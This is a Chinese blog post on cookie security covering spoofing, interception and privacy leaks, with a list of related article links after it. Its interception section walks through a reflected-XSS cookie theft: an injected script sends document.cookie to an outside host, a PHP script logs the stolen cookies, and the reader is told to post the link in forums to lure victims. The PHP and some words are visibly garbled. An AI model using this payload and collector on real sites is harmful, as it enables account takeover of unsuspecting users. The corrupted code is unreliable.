深入分析Cookie的安全性问题


Posted in Javascript onMarch 01, 2015

Cookie的目的是为用户带来方便,为网站带来增值,一般情况下不会造成严重的安全威胁。Cookie文件不能作为代码执行,也不会传送病毒,它为用户所专有并只能由创建它的服务器来读取。另外,浏览器一般只允许存放300个Cookie,每个站点最多存放20个Cookie,每个Cookie的大小限制为4KB,因此,Cookie不会塞满硬盘,更不会被用作"拒绝服务"攻击手段。

但是,Cookie作为用户身份的替代,其安全性有时决定了整个系统的安全性,Cookie的安全性问题不容忽视。

(1)Cookie欺骗 Cookie记录了用户的帐户ID、密码之类的信息,通常使用MD5方法加密后在网上传递。经过加密处理后的信息即使被网络上一些别有用心的人截获也看不懂。然而,现在存在的问题是,截获Cookie的人不需要知道这些字符串的含义,只要把别人的Cookie向服务器提交,并且能够通过验证,就可以冒充受害人的身份登陆网站,这种行为叫做Cookie欺骗。
非法用户通过Cookie欺骗获得相应的加密密钥,从而访问合法用户的所有个性化信息,包括用户的E-mail甚至帐户信息,对个人信息造成严重危害。
(2)Cookie截获
Cookie以纯文本的形式在浏览器和服务器之间传送,很容易被他人非法截获和利用。任何可以截获Web通信的人都可以读取Cookie。
Cookie被非法用户截获后,然后在其有效期内重放,则此非法用户将享有合法用户的权益。例如,对于在线阅读,非法用户可以不支付费用即可享受在线阅读电子杂志。

Cookie截获的手段有以下一些:

(1)用编程手段截获Cookie。下面分析其手法,该方法分两步完成。

步骤一:定位需要收集Cookie的网站,对其进行分析并构造URL。 首先打开要收集Cookie的网站,这里假设是http://www.XXX.net,登陆网站输入用户名"<Al>"(不含引号),对数据进行分析抓包,得到如下代码:
http://www.XXX.net/tXl/login/login.pl?username=<Al>&passwd=&ok.X=28&ok.y=6;
将其中"<Al>"更换为:
"<script>alert(document.cookie)</script>"再试,如果执行成功,就开始构造URL:
http://www.XXX.net/tXl/login/login.pl?username=<script>window.open ("http://www.cbifamily.org/cbi.php?"%2bdocument.cookie)</script>&passwd=&ok.X=28&ok.y=6.
其中http://www.cbifamily.org/cbi.php是用户能够控制的某台主机上的一个脚本。需要注意的是"%2b"为符号"+"的URL编码,因为"+"将被作为空格处理。该URL即可在论坛中发布,诱使别人点击。

步骤二:编制收集Cookie的PHP脚本,并将其放到用户可以控制的网站上,当不知情者点击了构造的URL后可以执行该PHP代码。该脚本的具体内容如下:

<?php 

$info=getenv("OUERY_STRING"); 

if($info){  

$fp=fopen("info.tXt","a");  

fwrite($fp,!info."\n"); 

fclose($fp);

} 

header("Location:http://www.XXX.net");

?>

将这段代码放到网络里,则能够收集所有人的Cookie。如果一个论坛允许HTML代码或者允许使用Flash标签,就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可收集到大量的Cookie。在论坛上,有许多人的密码就是被这种方法盗走的。
(2)利用Flash的代码隐患截获Cookie。Flash中有一个getURL()函数。Flash可以利用这个函数自动打开指定的网页,它可能把用户引向一个包含恶意代码的网站。例如,当用户在电脑上欣赏Flash动画时,动画帧里的代码可能已经悄悄地连上网,并打开了一个极小的包含有特殊代码的页面,这个页面可以收集Cookie、也可以做一些其他有害的事情。网站无法禁止Flash的这种作为,因为这是Flash文件的内部功能。
(3)Cookie泄漏网络隐私
Cookie导致网络隐私泄密的主要原因是:!商业利益驱动。随着电子商务的兴起和互联网上巨大商机的出现,一些网站和机构滥用Cookie,未经访问者的许可,利用搜索引擎技术、数据挖掘技术甚至是网络欺骗技术搜集他人的个人资料,达到构建用户数据库、发送广告等营利目的,造成用户个人隐私的泄漏。"Cookie信息传递的开放性。Cookie文件具有特殊的传递流程 和文本特性,在服务器和客户端之间传送未经安全加密的Cook-ie文件,易导致个人信息的泄密。

以上都是个人对于cookie安全性的理解,如有遗漏还请大家能够指正。

Javascript 相关文章推荐
jQuery ui 1.7更新小结
Aug 15 Javascript
JavaScript中的细节分析
Jun 30 Javascript
jquery获取焦点和失去焦点事件代码
Apr 21 Javascript
offsetHeight在OnLoad中获取为0的现象
Jul 22 Javascript
jquery引用方法时传递参数原理分析
Oct 13 Javascript
基于JS实现导航条之调用网页助手小精灵的方法
Jun 17 Javascript
JS图片等比例缩放方法完整示例
Aug 03 Javascript
angularjs下拉框空白的解决办法
Jun 20 Javascript
Vue网页html转换PDF(最低兼容ie10)的思路详解
Aug 24 Javascript
Easy UI动态树点击文字实现展开关闭功能
Sep 30 Javascript
Vue-cli3生成的Vue项目加载Mxgraph方法示例
May 31 Javascript
JavaScript 原型与原型链详情
Nov 02 Javascript
浅谈JavaScript事件的属性列表
Mar 01 #Javascript
浅析javascript中的DOM
Mar 01 #Javascript
javascript中的正则表达式使用指南
Mar 01 #Javascript
JQuery中使文本框获得焦点的方法实例分析
Feb 28 #Javascript
jQuery实现折线图的方法
Feb 28 #Javascript
js中split和replace的用法实例
Feb 28 #Javascript
jQuery实现菜单感应鼠标滑动动画效果的方法
Feb 28 #Javascript
You might like
php编程实现获取excel文档内容的代码实例
2011/06/28 PHP
PHP冒泡排序算法代码详细解读
2011/07/17 PHP
php中使用redis队列操作实例代码
2013/02/07 PHP
php上传文件问题汇总
2015/01/30 PHP
PHP基于imagick扩展实现合成图片的两种方法【附imagick扩展下载】
2017/11/14 PHP
laravel实现图片上传预览,及编辑时可更换图片,并实时变化的例子
2019/11/14 PHP
对YUI扩展的Gird组件 Part-2
2007/03/10 Javascript
Flash+XML滚动新闻代码 无图片 附源码下载
2007/11/22 Javascript
IE6下拉框图层问题探讨及解决
2014/01/03 Javascript
Javascript Objects详解
2014/09/04 Javascript
Node.js中HTTP模块与事件模块详解
2014/11/14 Javascript
jquery动态改变div宽度和高度
2015/02/09 Javascript
JavaScript中Object.prototype.toString方法的原理
2016/02/24 Javascript
用js控件div的滚动条,让它在内容更新时自动滚到底部的实现方法
2016/10/27 Javascript
js循环map 获取所有的key和value的实现代码(json)
2018/05/09 Javascript
vue-cli3.0 脚手架搭建项目的过程详解
2018/10/19 Javascript
小程序hover-class点击态效果实现
2019/02/26 Javascript
史上最为详细的javascript继承(推荐)
2019/05/18 Javascript
原生JavaScript创建不可变对象的方法简单示例
2020/05/07 Javascript
解决vue动态路由异步加载import组件,加载不到module的问题
2020/07/26 Javascript
vue仿携程轮播图效果(滑动轮播,下方高度自适应)
2021/02/11 Vue.js
[55:56]NB vs Infamous 2019国际邀请赛淘汰赛 败者组 BO3 第二场 8.22
2019/09/05 DOTA
python实现bitmap数据结构详解
2014/02/17 Python
Numpy中转置transpose、T和swapaxes的实例讲解
2018/04/17 Python
python实现寻找最长回文子序列的方法
2018/06/02 Python
Python实现简单层次聚类算法以及可视化
2019/03/18 Python
详解mac python+selenium+Chrome 简单案例
2019/11/08 Python
pycharm无法导入本地模块的解决方式
2020/02/12 Python
css3通过scale()、rotate()实现放大、旋转
2020/03/19 HTML / CSS
联想澳大利亚官网:Lenovo Australia
2018/01/18 全球购物
物理研修随笔感言
2014/02/14 职场文书
法人任命书范本
2014/06/04 职场文书
出国留学导师推荐信
2015/03/26 职场文书
立春观后感
2015/06/18 职场文书
redis三种高可用方式部署的实现
2021/05/11 Redis
使用ICOM IC-R9500接收机同时测评十台收音机中波接收性能
2022/05/10 无线电